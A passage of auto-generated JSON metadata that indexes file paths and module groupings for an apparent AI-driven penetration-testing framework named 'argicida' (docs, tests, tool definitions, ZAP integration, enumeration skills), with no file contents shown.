"docs/archive/specs/2026-07-01-phase-2a-hermes-integration.md\",\"docs/archive/specs/2026-07-02-hermes-convention-refactor.md\",\"docs/archive/specs/2026-07-02-llm-driven-redesign.md\",\"docs/archive/specs/2026-07-02-phase3-infrastructure-hardening.md\",\"docs/archive/specs/2026-07-02-structured-perceptor.md\",\"docs/archive/specs/2026-07-08-engagement-lifecycle.md\",\"docs/archive/specs/2026-07-09-tool-definition-registry.md\",\"docs/archive/specs/2026-07-15-screenshot-vision-analysis.md\",\"docs/archive/superpowers/plans/2026-07-01-phase1-first-light.md\",\"docs/archive/superpowers/plans/2026-07-01-scope-enforcement.md\",\"docs/archive/superpowers/plans/2026-07-02-hermes-convention-refactor.md\",\"docs/archive/superpowers/plans/2026-07-03-nse-script-fuzzy-matching.md\",\"docs/archive/superpowers/plans/2026-07-04-artifact-storage.md\",\"docs/archive/superpowers/plans/2026-07-04-db-query-finding-parser.md\",\"docs/archive/superpowers/plans/2026-07-04-db-query-tool.md\",\"docs/archive/superpowers/plans/2026-07-04-redis-query-tool.md\",\"docs/archive/superpowers/plans/2026-07-06-curl-tool.md\",\"docs/archive/superpowers/plans/2026-07-06-db-enumeration-skill-split.md\",\"docs/archive/superpowers/plans/2026-07-06-katana-ffuf-tools.md\",\"docs/archive/superpowers/plans/2026-07-06-screenshot-tool.md\",\"docs/archive/superpowers/plans/2026-07-07-normalizer-refactor.md\",\"docs/archive/superpowers/plans/2026-07-07-result-transformer.md\",\"docs/archive/superpowers/plans/2026-07-07-rpcinfo-tool.md\",\"docs/archive/superpowers/plans/2026-07-07-validation-fixes.md\",\"docs/archive/superpowers/plans/2026-07-08-engagement-lifecycle.md\",\"docs/archive/superpowers/plans/2026-07-08-engagement-query-tool.md\",\"docs/archive/superpowers/plans/2026-07-09-ssh-exec-tool.md\",\"docs/archive/superpowers/plans/2026-07-09-tool-definition-registry.md\",\"docs/archive/superpowers/plans/2026-07-10-mongo-query.md\",\"docs/archive/superpowers/plans/2026-07-10-service-coverage.md\",\"docs/archive/superpowers/plans/2026-07-13-credential-fragment-model.md\",\"docs/archive/superpowers/plans/2026-07-14-structural-ownership.md\",\"docs/archive/superpowers/plans/2026-07-15-dns-aware-scope-enforcement.md\",\"docs/archive/superpowers/plans/2026-07-16-engagement-management.md\",\"docs/archive/superpowers/plans/2026-07-20-asset-registry.md\",\"docs/archive/superpowers/plans/2026-07-21-dry-simplification.md\",\"docs/archive/superpowers/plans/2026-07-21-register-refactor.md\",\"docs/archive/superpowers/specs/2026-07-01-scope-enforcement-design.md\",\"docs/archive/superpowers/specs/2026-07-03-nse-script-fuzzy-matching-design.md\",\"docs/archive/superpowers/specs/2026-07-04-artifact-storage-design.md\",\"docs/archive/superpowers/specs/2026-07-04-db-query-finding-parser-design.md\",\"docs/archive/superpowers/specs/2026-07-04-redis-query-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-06-curl-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-06-db-enumeration-skill-split-design.md\",\"docs/archive/superpowers/specs/2026-07-06-katana-ffuf-tools-design.md\",\"docs/archive/superpowers/specs/2026-07-06-screenshot-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-07-normalizer-refactor-design.md\",\"docs/archive/superpowers/specs/2026-07-07-result-transformer-design.md\",\"docs/archive/superpowers/specs/2026-07-07-rpcinfo-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-07-validation-fixes-design.md\",\"docs/archive/superpowers/specs/2026-07-08-engagement-query-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-08-subagent-delegation-design.md\",\"docs/archive/superpowers/specs/2026-07-09-ssh-exec-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-10-mongo-query-design.md\",\"docs/archive/superpowers/specs/2026-07-10-service-coverage-design.md\",\"docs/archive/superpowers/specs/2026-07-13-credential-fragment-model-design.md\",\"docs/archive/superpowers/specs/2026-07-14-remediation-design.md\",\"docs/archive/superpowers/specs/2026-07-15-dns-aware-scope-enforcement-design.md\",\"docs/archive/superpowers/specs/2026-07-16-engagement-management-design.md\",\"docs/archive/superpowers/specs/2026-07-20-asset-registry-design.md\",\"docs/archive/superpowers/specs/2026-07-21-dry-simplification-design.md\",\"docs/archive/superpowers/specs/2026-07-21-register-refactor-design.md\"]},{\"name\":\"Other \u2014 docs-research\",\"slug\":\"other-docs-research\",\"files\":[\"docs/research/2026-07-02-offensive-security-research.md\",\"docs/research/2026-07-04-hermes-configuration-deep-dive.md\",\"docs/research/2026-07-10-c2-integration-strategy.md\"]},{\"name\":\"Other \u2014 docs-rfe\",\"slug\":\"other-docs-rfe\",\"files\":[\"docs/rfe/2026-07-11-zap-proxy-web-scanning.md\",\"docs/rfe/2026-07-25-zap-automation-framework.md\",\"docs/rfe/2026-07-26-test-target-infrastructure.md\"]},{\"name\":\"Other \u2014 docs-superpowers\",\"slug\":\"other-docs-superpowers\",\"files\":[\"docs/superpowers/archive/2026-07-22-zap-deep-integration-design.md\",\"docs/superpowers/archive/2026-07-22-zap-deep-integration.md\",\"docs/superpowers/archive/2026-07-22-zap-integration-gaps-design.md\",\"docs/superpowers/archive/2026-07-22-zap-integration-gaps.md\",\"docs/superpowers/archive/2026-07-23-e2e-research-findings.md\",\"docs/superpowers/archive/2026-07-23-e2e-test-integrity-design.md\",\"docs/superpowers/archive/2026-07-23-e2e-test-integrity.md\",\"docs/superpowers/plans/2026-07-26-zap-af-pipeline-integration.md\",\"docs/superpowers/plans/2026-07-27-phase-aware-autonomy.md\",\"docs/superpowers/plans/archive/2026-07-29-gateway-network-isolation.md\",\"docs/superpowers/specs/2026-07-26-zap-af-pipeline-integration-design.md\",\"docs/superpowers/specs/2026-07-27-phase-aware-autonomy-design.md\",\"docs/superpowers/specs/archive/2026-07-29-gateway-network-isolation-design.md\"]},{\"name\":\"Other \u2014 profile\",\"slug\":\"other-profile\",\"files\":[\"profile/README.md\",\"profile/config.yaml\",\"profile/distribution.yaml\"]},{\"name\":\"Other \u2014 profile-skins\",\"slug\":\"other-profile-skins\",\"files\":[\"profile/skins/argicida.yaml\"]},{\"name\":\"Other \u2014 pyproject.toml\",\"slug\":\"other-pyproject-toml\",\"files\":[\"pyproject.toml\"]},{\"name\":\"Other \u2014 src-argicida\",\"slug\":\"other-src-argicida\",\"files\":[\"src/argicida/argicida/py.typed\",\"src/argicida/pyproject.toml\"]},{\"name\":\"Other \u2014 src-argicida_agent\",\"slug\":\"other-src-argicida-agent\",\"files\":[\"src/argicida_agent/argicida_agent/py.typed\",\"src/argicida_agent/pyproject.toml\"]},{\"name\":\"Other \u2014 src-argicida_common\",\"slug\":\"other-src-argicida-common\",\"files\":[\"src/argicida_common/argicida_common/py.typed\",\"src/argicida_common/pyproject.toml\"]},{\"name\":\"Other \u2014 tests\",\"slug\":\"other-tests\",\"files\":[\"tests/__init__.py\",\"tests/conftest.py\",\"tests/factories.py\"]},{\"name\":\"Other \u2014 tests-argicida\",\"slug\":\"other-tests-argicida\",\"files\":[\"tests/argicida/briefing/__init__.py\",\"tests/argicida/briefing/test_generator.py\",\"tests/argicida/briefing/test_prompts.py\",\"tests/argicida/commands/__init__.py\",\"tests/argicida/commands/test_cli.py\",\"tests/argicida/commands/test_formatting.py\",\"tests/argicida/commands/test_slash.py\",\"tests/argicida/commands/test_update_data.py\",\"tests/argicida/conftest.py\",\"tests/argicida/db/test_asset_repo.py\",\"tests/argicida/db/test_asset_tech.py\",\"tests/argicida/db/test_candidate_engine.py\",\"tests/argicida/db/test_credential_helpers.py\",\"tests/argicida/db/test_credentials.py\",\"tests/argicida/db/test_encryption.py\",\"tests/argicida/db/test_finding_repo.py\",\"tests/argicida/db/test_helpers.py\",\"tests/argicida/db/test_migrations.py\",\"tests/argicida/db/test_store.py\",\"tests/argicida/db/test_store_async.py\",\"tests/argicida/engagement/__init__.py\",\"tests/argicida/engagement/test_lifecycle.py\",\"tests/argicida/engagement/test_session.py\",\"tests/argicida/engagement/test_unbind.py\",\"tests/argicida/evidence/test_chain.py\",\"tests/argicida/evidence/test_chain_clear.py\",\"tests/argicida/evidence/test_keys.py\",\"tests/argicida/evidence/test_signer.py\",\"tests/argicida/hooks/conftest.py\",\"tests/argicida/hooks/test_adapters.py\",\"tests/argicida/hooks/test_asset_context.py\",\"tests/argicida/hooks/test_asset_coverage.py\",\"tests/argicida/hooks/test_asset_extractor.py\",\"tests/argicida/hooks/test_autonomy.py\",\"tests/argicida/hooks/test_context.py\",\"tests/argicida/hooks/test_context_tech.py\",\"tests/argicida/hooks/test_coverage_deep_testing.py\",\"tests/argicida/hooks/test_evidence.py\",\"tests/argicida/hooks/test_finalize_zap.py\",\"tests/argicida/hooks/test_normalizer.py\",\"tests/argicida/hooks/test_normalizer_errors.py\",\"tests/argicida/hooks/test_normalizer_perceptor.py\",\"tests/argicida/hooks/test_output_store.py\",\"tests/argicida/hooks/test_parse_result.py\",\"tests/argicida/hooks/test_parsers.py\",\"tests/argicida/hooks/test_password_decoding.py\",\"tests/argicida/hooks/test_perceptor.py\",\"tests/argicida/hooks/test_result_transformers.py\",\"tests/argicida/hooks/test_scope_expansion.py\",\"tests/argicida/hooks/test_scope_guard.py\",\"tests/argicida/hooks/test_service_registry.py\",\"tests/argicida/hooks/test_session_lifecycle.py\",\"tests/argicida/hooks/test_session_start.py\",\"tests/argicida/ipc/test_client.py\",\"tests/argicida/pod/test_builder.py\",\"tests/argicida/pod/test_config.py\",\"tests/argicida/pod/test_launcher.py\",\"tests/argicida/pod/test_launcher_zap.py\",\"tests/argicida/pod/test_manager.py\",\"tests/argicida/pod/test_session.py\",\"tests/argicida/pod/test_session_host_entries.py\",\"tests/argicida/pod/test_vpn_endpoint.py\",\"tests/argicida/registration/__init__.py\",\"tests/argicida/registration/test_context.py\",\"tests/argicida/registration/test_state.py\",\"tests/argicida/scope/conftest.py\",\"tests/argicida/scope/test_db_query_scope.py\",\"tests/argicida/scope/test_hostname_resolution.py\",\"tests/argicida/scope/test_netfilter.py\",\"tests/argicida/scope/test_normalize_target.py\",\"tests/argicida/scope/test_redis_cli_profile.py\",\"tests/argicida/scope/test_rpcinfo_profile.py\",\"tests/argicida/scope/test_validator.py\",\"tests/argicida/test_asset_consistency.py\",\"tests/argicida/test_consistency.py\",\"tests/argicida/test_phase_migration.py\",\"tests/argicida/test_register.py\",\"tests/argicida/test_session_consistency.py\",\"tests/argicida/tools/conftest.py\",\"tests/argicida/tools/defs/__init__.py\",\"tests/argicida/tools/defs/test_all_defs.py\",\"tests/argicida/tools/defs/test_discovery.py\",\"tests/argicida/tools/defs/test_mongo_query_def.py\",\"tests/argicida/tools/defs/test_naabu_def.py\",\"tests/argicida/tools/defs/test_protocol.py\",\"tests/argicida/tools/defs/test_ssh_exec_def.py\",\"tests/argicida/tools/test_add_host_asset.py\",\"tests/argicida/tools/test_add_host_dnsmasq.py\",\"tests/argicida/tools/test_artifact_handlers.py\",\"tests/argicida/tools/test_asset_query_handlers.py\",\"tests/argicida/tools/test_base.py\",\"tests/argicida/tools/test_curl_handler.py\",\"tests/argicida/tools/test_curl_normalizer.py\",\"tests/argicida/tools/test_db_query_handler.py\",\"tests/argicida/tools/test_db_query_normalizer.py\",\"tests/argicida/tools/test_engagement_query_fragments.py\",\"tests/argicida/tools/test_extractor_base.py\",\"tests/argicida/tools/test_extractors.py\",\"tests/argicida/tools/test_ffuf_normalizer.py\",\"tests/argicida/tools/test_handlers.py\",\"tests/argicida/tools/test_katana_normalizer.py\",\"tests/argicida/tools/test_management_handlers.py\",\"tests/argicida/tools/test_management_handlers_zap.py\",\"tests/argicida/tools/test_management_helpers.py\",\"tests/argicida/tools/test_normalizer_components.py\",\"tests/argicida/tools/test_normalizer_has_flag.py\",\"tests/argicida/tools/test_normalizer_shared_classes.py\",\"tests/argicida/tools/test_normalizers.py\",\"tests/argicida/tools/test_normalizers_mongo.py\",\"tests/argicida/tools/test_normalizers_nuclei.py\",\"tests/argicida/tools/test_normalizers_smb.py\",\"tests/argicida/tools/test_normalizers_ssh.py\",\"tests/argicida/tools/test_normalizers_zap.py\",\"tests/argicida/tools/test_parsers_make_finding.py\",\"tests/argicida/tools/test_parsers_mongo.py\",\"tests/argicida/tools/test_parsers_zap.py\",\"tests/argicida/tools/test_redis_query_normalizer.py\",\"tests/argicida/tools/test_schemas.py\",\"tests/argicida/tools/test_screenshot_handler.py\",\"tests/argicida/tools/test_screenshot_vision.py\",\"tests/argicida/tools/test_shared_utils.py\",\"tests/argicida/tools/test_tool_def_extractor.py\",\"tests/argicida/tools/test_transformer_infrastructure.py\",\"tests/argicida/tools/test_transformers_dnsx_proposal.py\",\"tests/argicida/tools/test_transformers_mongo.py\",\"tests/argicida/tools/test_transformers_ssh.py\",\"tests/argicida/tools/test_transformers_zap.py\",\"tests/argicida/tools/test_zap_new_tools.py\",\"tests/argicida/triage/test_asset_discovery.py\",\"tests/argicida/triage/test_classifier.py\",\"tests/argicida/triage/test_data.py\",\"tests/argicida/triage/test_dedup.py\",\"tests/argicida/triage/test_scorer.py\",\"tests/argicida/zap/__init__.py\",\"tests/argicida/zap/test_client.py\",\"tests/argicida/zap/test_client_af.py\",\"tests/argicida/zap/test_client_intel.py\",\"tests/argicida/zap/test_credential_tester.py\",\"tests/argicida/zap/test_manager.py\",\"tests/argicida/zap/test_manager_af.py\",\"tests/argicida/zap/test_plan_executor.py\",\"tests/argicida/zap/test_plan_generator.py\",\"tests/argicida/zap/test_scan_policy.py\",\"tests/argicida/zap/test_scan_policy_passive.py\"]},{\"name\":\"Other \u2014 tests-argicida_agent\",\"slug\":\"other-tests-argicida-agent\",\"files\":[\"tests/argicida_agent/executor/test_runner.py\",\"tests/argicida_agent/ipc/test_server.py\",\"tests/argicida_agent/test_main.py\"]},{\"name\":\"Other \u2014 tests-argicida_common\",\"slug\":\"other-tests-argicida-common\",\"files\":[\"tests/argicida_common/test_asset_schema.py\",\"tests/argicida_common/test_constants.py\",\"tests/argicida_common/test_credential_schema.py\",\"tests/argicida_common/test_engagement_schema.py\",\"tests/argicida_common/test_finding_schema.py\",\"tests/argicida_common/test_ipc_protocol.py\",\"tests/argicida_common/test_ipc_schema.py\",\"tests/argicida_common/test_scope_schema.py\"]},{\"name\":\"Other \u2014 tests-e2e\",\"slug\":\"other-tests-e2e\",\"files\":[\"tests/e2e/__init__.py\",\"tests/e2e/assertions.py\",\"tests/e2e/conftest.py\",\"tests/e2e/fault_injector.py\",\"tests/e2e/harness.py\",\"tests/e2e/test_e2e_smoke.py\"]},{\"name\":\"Other \u2014 tests-integration\",\"slug\":\"other-tests-integration\",\"files\":[\"tests/integration/__init__.py\",\"tests/integration/conftest.py\",\"tests/integration/test_asset_pipeline.py\",\"tests/integration/test_hook_pipeline.py\",\"tests/integration/test_phase_lifecycle.py\",\"tests/integration/test_registration.py\",\"tests/integration/test_session_lifecycle.py\",\"tests/integration/test_slash_commands.py\",\"tests/integration/test_tool_dispatch.py\"]},{\"name\":\"Other \u2014 tests-pod_integration\",\"slug\":\"other-tests-pod-integration\",\"files\":[\"tests/pod_integration/__init__.py\",\"tests/pod_integration/conftest.py\",\"tests/pod_integration/test_artifact_transfer.py\",\"tests/pod_integration/test_asset_registry.py\",\"tests/pod_integration/test_container_build.py\",\"tests/pod_integration/test_diagnostic_pod.py\",\"tests/pod_integration/test_engagement_management.py\",\"tests/pod_integration/test_fault_recovery.py\",\"tests/pod_integration/test_fault_stale_session.py\",\"tests/pod_integration/test_first_light.py\",\"tests/pod_integration/test_gateway_fail_closed.py\",\"tests/pod_integration/test_gateway_isolation.py\",\"tests/pod_integration/test_ipc_file_write.py\",\"tests/pod_integration/test_zap.py\",\"tests/pod_integration/test_zap_af.py\"]},{\"name\":\"Other \u2014 tests-scripts\",\"slug\":\"other-tests-scripts\",\"files\":[\"tests/scripts/__init__.py\",\"tests/scripts/test_sync_skills.py\"]}]}];\nvar META = {\"fromCommit\":\"eaf9cefcbeb60a781d7dfcee322c37c87c494cf3\",\"generatedAt\":\"2026-07-30T20:43:19.245Z\",\"model\":\"\",\"lang\":\"\",\"moduleFiles\":{\"Plugin Registration & Core\":[\"src/argicida/argicida/__init__.py\",\"src/argicida/argicida/registration/__init__.py\",\"src/argicida/argicida/registration/context.py\",\"src/argicida/argicida/registration/state.py\",\"src/argicida/argicida/registration/hooks.py\",\"src/argicida/argicida/registration/scan_tools.py\",\"src/argicida/argicida/registration/management_tools.py\",\"src/argicida/argicida/registration/commands.py\",\"src/argicida/argicida/utils.py\",\"src/argicida/argicida/plugin.yaml\"],\"Engagement & Database\":[\"src/argicida/argicida/engagement/__init__.py\",\"src/argicida/argicida/engagement/lifecycle.py\",\"src/argicida/argicida/engagement/session.py\",\"src/argicida/argicida/db/__init__.py\",\"src/argicida/argicida/db/store.py\",\"src/argicida/argicida/db/asset_repo.py\",\"src/argicida/argicida/db/credential_repo.py\",\"src/argicida/argicida/db/finding_repo.py\",\"src/argicida/argicida/db/evidence_repo.py\",\"src/argicida/argicida/db/vpn_repo.py\",\"src/argicida/argicida/db/helpers.py\",\"src/argicida/argicida/db/migrations.py\",\"src/argicida/argicida/db/encryption.py\"],\"Pod Management\":[\"src/argicida/argicida/pod/__init__.py\",\"src/argicida/argicida/pod/launcher.py\",\"src/argicida/argicida/pod/manager.py\",\"src/argicida/argicida/pod/session.py\",\"src/argicida/argicida/pod/config.py\",\"src/argicida/argicida/pod/builder.py\",\"src/argicida/argicida/pod/vpn.py\"],\"Container Agent\":[\"src/argicida_agent/argicida_agent/__init__.py\",\"src/argicida_agent/argicida_agent/__main__.py\",\"src/argicida_agent/argicida_agent/executor/__init__.py\",\"src/argicida_agent/argicida_agent/executor/runner.py\",\"src/argicida_agent/argicida_agent/ipc/__init__.py\",\"src/argicida_agent/argicida_agent/ipc/server.py\"],\"IPC Layer\":[\"src/argicida/argicida/ipc/__init__.py\",\"src/argicida/argicida/ipc/client.py\",\"src/argicida_common/argicida_common/ipc_protocol.py\",\"src/argicida_common/argicida_common/ipc_schema.py\"],\"Scope Enforcement\":[\"src/argicida/argicida/scope/__init__.py\",\"src/argicida/argicida/scope/netfilter.py\",\"src/argicida/argicida/scope/validator.py\",\"src/argicida_common/argicida_common/scope_schema.py\"],\"Scan Tool Framework\":[\"src/argicida/argicida/tools/__init__.py\",\"src/argicida/argicida/tools/base.py\",\"src/argicida/argicida/tools/schemas.py\",\"src/argicida/argicida/tools/defs/__init__.py\",\"src/argicida/argicida/tools/defs/_protocol.py\",\"src/argicida/argicida/tools/defs/_pd_common.py\",\"src/argicida/argicida/tools/defs/nmap.py\",\"src/argicida/argicida/tools/defs/naabu.py\",\"src/argicida/argicida/tools/defs/nuclei.py\",\"src/argicida/argicida/tools/defs/httpx.py\",\"src/argicida/argicida/tools/defs/subfinder.py\",\"src/argicida/argicida/tools/defs/dnsx.py\",\"src/argicida/argicida/tools/defs/katana.py\",\"src/argicida/argicida/tools/defs/ffuf.py\",\"src/argicida/argicida/tools/defs/curl.py\",\"src/argicida/argicida/tools/defs/tracepath.py\",\"src/argicida/argicida/tools/defs/rpcinfo.py\",\"src/argicida/argicida/tools/defs/smbclient.py\",\"src/argicida/argicida/tools/defs/db_query.py\",\"src/argicida/argicida/tools/defs/redis_query.py\",\"src/argicida/argicida/tools/defs/mongo_query.py\",\"src/argicida/argicida/tools/defs/ssh_exec.py\",\"src/argicida/argicida/tools/normalizers.py\",\"src/argicida/argicida/tools/normalizers_nmap.py\",\"src/argicida/argicida/tools/normalizers_nuclei.py\",\"src/argicida/argicida/tools/normalizers_curl.py\",\"src/argicida/argicida/tools/normalizers_db.py\",\"src/argicida/argicida/tools/normalizers_redis.py\",\"src/argicida/argicida/tools/normalizers_mongo.py\",\"src/argicida/argicida/tools/normalizers_katana.py\",\"src/argicida/argicida/tools/normalizers_smb.py\",\"src/argicida/argicida/tools/normalizers_ssh.py\",\"src/argicida/argicida/tools/normalizers_zap.py\",\"src/argicida/argicida/tools/parsers.py\",\"src/argicida/argicida/tools/parsers_nmap.py\",\"src/argicida/argicida/tools/parsers_naabu.py\",\"src/argicida/argicida/tools/parsers_nuclei.py\",\"src/argicida/argicida/tools/parsers_dnsx.py\",\"src/argicida/argicida/tools/parsers_db.py\",\"src/argicida/argicida/tools/parsers_redis.py\",\"src/argicida/argicida/tools/parsers_mongo.py\",\"src/argicida/argicida/tools/parsers_smbclient.py\",\"src/argicida/argicida/tools/parsers_zap.py\",\"src/argicida/argicida/tools/transformers.py\",\"src/argicida/argicida/tools/transformers_nmap.py\",\"src/argicida/argicida/tools/transformers_naabu.py\",\"src/argicida/argicida/tools/transformers_nuclei.py\",\"src/argicida/argicida/tools/transformers_httpx.py\",\"src/argicida/argicida/tools/transformers_subfinder.py\",\"src/argicida/argicida/tools/transformers_dnsx.py\",\"src/argicida/argicida/tools/transformers_katana.py\",\"src/argicida/argicida/tools/transformers_ffuf.py\",\"src/argicida/argicida/tools/transformers_curl.py\",\"src/argicida/argicida/tools/transformers_db.py\",\"src/argicida/argicida/tools/transformers_redis.py\",\"src/argicida/argicida/tools/transformers_mongo.py\",\"src/argicida/argicida/tools/transformers_smbclient.py\",\"src/argicida/argicida/tools/transformers_zap.py\",\"src/argicida/argicida/tools/extractors.py\",\"src/argicida/argicida/tools/extractors_base.py\",\"src/argicida/argicida/tools/extractors_nmap.py\",\"src/argicida/argicida/tools/extractors_naabu.py\",\"src/argicida/argicida/tools/extractors_httpx.py\",\"src/argicida/argicida/tools/extractors_subfinder.py\",\"src/argicida/argicida/tools/extractors_dnsx.py\",\"src/argicida/argicida/tools/extractors_nuclei.py\"],\"Management & CLI\":[\"src/argicida/argicida/tools/management_handlers.py\",\"src/argicida/argicida/tools/artifact_handlers.py\",\"src/argicida/argicida/commands/__init__.py\",\"src/argicida/argicida/commands/cli.py\",\"src/argicida/argicida/commands/slash.py\",\"src/argicida/argicida/commands/formatting.py\",\"src/argicida/argicida/commands/update_data.py\"],\"Hook Pipeline\":[\"src/argicida/argicida/hooks/__init__.py\",\"src/argicida/argicida/hooks/adapters.py\",\"src/argicida/argicida/hooks/asset_extractor.py\",\"src/argicida/argicida/hooks/autonomy.py\",\"src/argicida/argicida/hooks/context.py\",\"src/argicida/argicida/hooks/context_sections.py\",\"src/argicida/argicida/hooks/coverage.py\",\"src/argicida/argicida/hooks/evidence.py\",\"src/argicida/argicida/hooks/normalizer.py\",\"src/argicida/argicida/hooks/output_store.py\",\"src/argicida/argicida/hooks/parsers.py\",\"src/argicida/argicida/hooks/perceptor.py\",\"src/argicida/argicida/hooks/result_transformers.py\",\"src/argicida/argicida/hooks/scope_guard.py\",\"src/argicida/argicida/hooks/service_registry.py\",\"src/argicida/argicida/hooks/session_start.py\",\"src/argicida/argicida/hooks/skill_loader.py\"],\"Triage Engine\":[\"src/argicida/argicida/triage/__init__.py\",\"src/argicida/argicida/triage/classifier.py\",\"src/argicida/argicida/triage/scorer.py\",\"src/argicida/argicida/triage/dedup.py\",\"src/argicida/argicida/triage/data.py\",\"src/argicida/argicida/triage/discovery.py\",\"scripts/generate_triage_diagrams.py\",\"scripts/generate_pipeline_diagrams.py\"],\"ZAP Integration\":[\"src/argicida/argicida/zap/__init__.py\",\"src/argicida/argicida/zap/client.py\",\"src/argicida/argicida/zap/manager.py\",\"src/argicida/argicida/zap/plan_executor.py\",\"src/argicida/argicida/zap/plan_generator.py\",\"src/argicida/argicida/zap/scan_policy.py\",\"src/argicida/argicida/zap/credential_tester.py\"],\"Evidence & Reporting\":[\"src/argicida/argicida/evidence/__init__.py\",\"src/argicida/argicida/evidence/chain.py\",\"src/argicida/argicida/evidence/keys.py\",\"src/argicida/argicida/evidence/signer.py\",\"src/argicida/argicida/briefing/__init__.py\",\"src/argicida/argicida/briefing/generator.py\",\"src/argicida/argicida/briefing/prompts.py\"],\"Shared Types & Schemas\":[\"src/argicida_common/argicida_common/__init__.py\",\"src/argicida_common/argicida_common/constants.py\",\"src/argicida_common/argicida_common/finding_schema.py\",\"src/argicida_common/argicida_common/engagement_schema.py\",\"src/argicida_common/argicida_common/asset_schema.py\",\"src/argicida_common/argicida_common/credential_schema.py\"],\"Container Build Infrastructure\":[\"containers/Containerfile\",\"containers/Containerfile.gateway\",\"containers/Containerfile.zap\",\"containers/entrypoint.sh\",\"containers/gateway-entrypoint.sh\",\"containers/zap-entrypoint.sh\",\"containers/dnsx-config.yaml\",\"containers/katana-config.yaml\",\"containers/naabu-config.yaml\",\"containers/nuclei-config.yaml\",\"containers/screenshot.yaml\",\"containers/nse-blocklist.txt\",\"containers/ssh-key-wrap\"],\"Hermes Profile & Skills\":[\"profile/SOUL.md\",\"profile/skills/security/DESCRIPTION.md\",\"profile/skills/security/pentest-methodology/SKILL.md\",\"profile/skills/security/network-discovery/SKILL.md\",\"profile/skills/security/dns-enumeration/SKILL.md\",\"profile/skills/security/web-enumeration/SKILL.md\",\"profile/skills/security/web-enumeration/fingerprinting/SKILL.md\",\"profile/skills/security/web-enumeration/scanning/SKILL.md\",\"profile/skills/security/web-enumeration/crawling/SKILL.md\",\"profile/skills/security/web-enumeration/fuzzing/SKILL.md\",\"profile/skills/security/web-enumeration/api/SKILL.md\",\"profile/skills/security/web-enumeration/api-testing/SKILL.md\",\"profile/skills/security/web-enumeration/curl-techniques/SKILL.md\",\"profile/skills/security/web-enumeration/services/SKILL.md\",\"profile/skills/security/db-enumeration/SKILL.md\",\"profile/skills/security/db-enumeration/postgresql/SKILL.md\",\"profile/skills/security/db-enumeration/mysql/SKILL.md\",\"profile/skills/security/db-enumeration/mssql/SKILL.md\",\"profile/skills/security/db-enumeration/oracle/SKILL.md\",\"profile/skills/security/db-enumeration/cassandra/SKILL.md\",\"profile/skills/security/mongo-enumeration/SKILL.md\",\"profile/skills/security/redis-enumeration/SKILL.md\",\"profile/skills/security/smb-enumeration/SKILL.md\",\"profile/skills/security/rpc-nfs-enumeration/SKILL.md\",\"profile/skills/security/ssh-enumeration/SKILL.md\",\"profile/skills/security/ftp-enumeration/SKILL.md\",\"profile/skills/security/smtp-enumeration/SKILL.md\",\"profile/skills/security/telnet-enumeration/SKILL.md\",\"scripts/sync_skills.py\"],\"Hermes Profile & Skills \u2014 profile\":[\"profile/SOUL.md\"],\"Hermes Profile & Skills \u2014 skills\":[\"profile/skills/security/DESCRIPTION.md\",\"profile/skills/security/pentest-methodology/SKILL.md\",\"profile/skills/security/network-discovery/SKILL.md\",\"profile/skills/security/dns-enumeration/SKILL.md\",\"profile/skills/security/web-enumeration/SKILL.md\",\"profile/skills/security/web-enumeration/fingerprinting/SKILL.md\",\"profile/skills/security/web-enumeration/scanning/SKILL.md\",\"profile/skills/security/web-enumeration/crawling/SKILL.md\",\"profile/skills/security/web-enumeration/fuzzing/SKILL.md\",\"profile/skills/security/web-enumeration/api/SKILL.md\",\"profile/skills/security/web-enumeration/api-testing/SKILL.md\",\"profile/skills/security/web-enumeration/curl-techniques/SKILL.md\",\"profile/skills/security/web-enumeration/services/SKILL.md\",\"profile/skills/security/db-enumeration/SKILL.md\",\"profile/skills/security/db-enumeration/postgresql/SKILL.md\",\"profile/skills/security/db-enumeration/mysql/SKILL.md\",\"profile/skills/security/db-enumeration/mssql/SKILL.md\",\"profile/skills/security/db-enumeration/oracle/SKILL.md\",\"profile/skills/security/db-enumeration/cassandra/SKILL.md\",\"profile/skills/security/mongo-enumeration/SKILL.md\",\"profile/skills/security/redis-enumeration/SKILL.md\",\"profile/skills/security/smb-enumeration/SKILL.md\",\"profile/skills/security/rpc-nfs-enumeration/SKILL.md\",\"profile/skills/security/ssh-enumeration/SKILL.md\",\"profile/skills/security/ftp-enumeration/SKILL.md\",\"profile/skills/security/smtp-enumeration/SKILL.md\",\"profile/skills/security/telnet-enumeration/SKILL.md\"],\"Hermes Profile & Skills \u2014 scripts\":[\"scripts/sync_skills.py\"],\"Other\":[\"CLAUDE.md\",\"README.md\",\"docs/DEVELOPMENT-STANDARDS.md\",\"docs/RESEARCH.md\",\"docs/triage-engine.md\",\"docs/archive/AUDIT-2026-07-14.md\",\"docs/archive/NOTES.md\",\"docs/archive/REFACTOR-PLAN-v2.md\",\"docs/archive/REFACTOR-PLAN.md\",\"docs/archive/REFACTOR-REFERENCES.md\",\"docs/archive/REMEDIATION-PLAN-2026-07-14.md\",\"docs/archive/audit-confirmed-findings.md\",\"docs/archive/e2e-gap-analysis.md\",\"docs/archive/full-system-audit.md\",\"docs/archive/htb-api-reference.md\",\"docs/archive/ipc-sync-async-boundary.md\",\"docs/archive/pipeline-engine.md\",\"docs/archive/plans/2026-06-30-foundation.md\",\"docs/archive/plans/2026-06-30-ipc-control-plane.md\",\"docs/archive/plans/2026-06-30-pipeline-engine.md\",\"docs/archive/plans/2026-06-30-scope-enforcement.md\",\"docs/archive/plans/2026-06-30-tool-wrappers.md\",\"docs/archive/plans/2026-06-30-triage-and-hooks.md\",\"docs/archive/plans/2026-07-01-briefing-and-trace.md\",\"docs/archive/plans/2026-07-01-container-build.md\",\"docs/archive/plans/2026-07-01-dynamic-pipeline.md\",\"docs/archive/plans/2026-07-01-e2e-gap-fixes.md\",\"docs/archive/plans/2026-07-01-hermes-plugin-shell.md\",\"docs/archive/plans/2026-07-01-integration-test-harness.md\",\"docs/archive/plans/2026-07-01-iterative-reentry.md\",\"docs/archive/plans/2026-07-01-pod-and-cli-commands.md\",\"docs/archive/plans/2026-07-01-session-lifecycle.md\",\"docs/archive/plans/2026-07-02-llm-driven-redesign.md\",\"docs/archive/plans/2026-07-02-phase3-infrastructure-hardening.md\",\"docs/archive/plans/2026-07-02-structured-perceptor.md\",\"docs/archive/plans/2026-07-15-screenshot-vision-analysis.md\",\"docs/archive/rfe/2026-07-07-engagement-query-tool.md\",\"docs/